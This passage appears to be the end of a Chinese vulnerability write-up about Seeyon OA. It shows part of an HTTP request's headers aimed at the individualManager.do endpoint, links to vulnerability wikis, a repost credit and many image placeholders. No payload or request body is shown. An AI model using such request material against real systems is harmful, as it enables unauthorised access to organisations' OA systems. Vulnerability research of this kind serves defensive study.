Accept-Language: zh-cn
Referer: http://www.0-sec.org/seeyon/individualManager.do?method=managerFrame
requesttype: AJAX
Content-Type: application/x-www-form-urlencoded
Cookie:
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: www.0-sec.org
DNT: 1
Proxy-Connection: Keep-Alive

更多漏洞

https://github.com/nosafer/nosafer.github.io/
https://wiki.96.mk/
https://0-wiki.com/#/
image
image
image
image
image
image
image
image
image
image
image

此文转自酒仙桥六号部队

image
image
image
image
image
image
image
image
image
image
image
image
image
image
image
image
image
image
image
image
image
image
image
image